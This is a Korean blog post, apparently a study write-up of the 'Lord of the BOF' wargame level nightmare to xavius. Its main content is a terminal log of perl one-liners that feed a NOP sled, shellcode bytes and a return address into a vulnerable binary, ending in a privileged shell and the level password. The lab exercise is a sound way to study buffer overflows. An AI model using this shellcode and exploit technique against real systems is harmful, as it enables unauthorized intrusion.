반응형
여러분 잠깐만, 이 단계 이상해요.

cat로 stdin에 전달하는것은 우선 맞고, 그러고서 팝렛형께 strace쓰라고 힌트도 듣고 감도 잡아서 공격을 하는데 심지어 세그멘테이션 폴트도 안뜨더라고여. 음 뷴명히 48바이트를 넣었는데. 그리고 또 이상한건 그래서 쉘코드가 문제인가? 하고 풀이에 있는 쉘코드를 사용해보았습니다. (Sanguine형 쉘코드를 잠시 썼습니다) 로그를 봐봐요.


[nightmare@localhost nightmare]$ bash2

[nightmare@localhost nightmare]$

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x12, "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3", "\x02\x50\x10\x40"' ; cat)|./xerath


¸ù¿@P1P¸@PP@



[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x28,"\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3","\x01\x50\x01\x40"';cat)|./xavius


¸ù¿@P1P¸@PP@



[nightmare@localhost nightmare]$

[nightmare@localhost nightmare]$

[nightmare@localhost nightmare]$

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x28,"\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3","\x01\x50\x01\x40"';cat)|./xavius


¸ù¿@P1P¸@PP@




















ㅁㄴㅇ

/bin/sh: ㅁㄴㅇ: command not found

ㄹmy-pass

/bin/sh: ㄹmy-pass: command not found

my-pass

euid = 519

throw me away

q

/bin/sh: q: command not found

exit

exit


엔터를 치다보니 저렇게 되디다..? 그러고서 조금이따 다시 해보니까


[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x28, "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3", "\x02\x50\x10\x40"' ; cat)|./xerath


¸ù¿@P1P¸@PP@



[nightmare@localhost nightmare]$

??



..라고 글을 쓰는 도중, 깨닫게 되었습니다..

"' ; cat)의 차이와 "';cat)의 차이를..

하....

아니 근데 그게 문제가 아닌거 같은데요 뭔가 포맷문제긴 하지만 띄어쓰기 문제인지는 모르겠슴다..?

근데 다른 쉘코드로는 안되네요. 왜그러지. 혹시 2f가 파이프로 전달되면 안들어가나요?

여튼 풀려서 좋네여! 처음봤을땐 매우 막막했는데 풀림



반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

Lord of the BOF  (0) 2019.02.07
xavius->death_knight  (0) 2014.07.31
succubus->nightmare  (0) 2014.07.10
zombie_assassin->succubus  (0) 2014.07.08
assassin->zombie_assassin  (2) 2014.06.26

+ Recent posts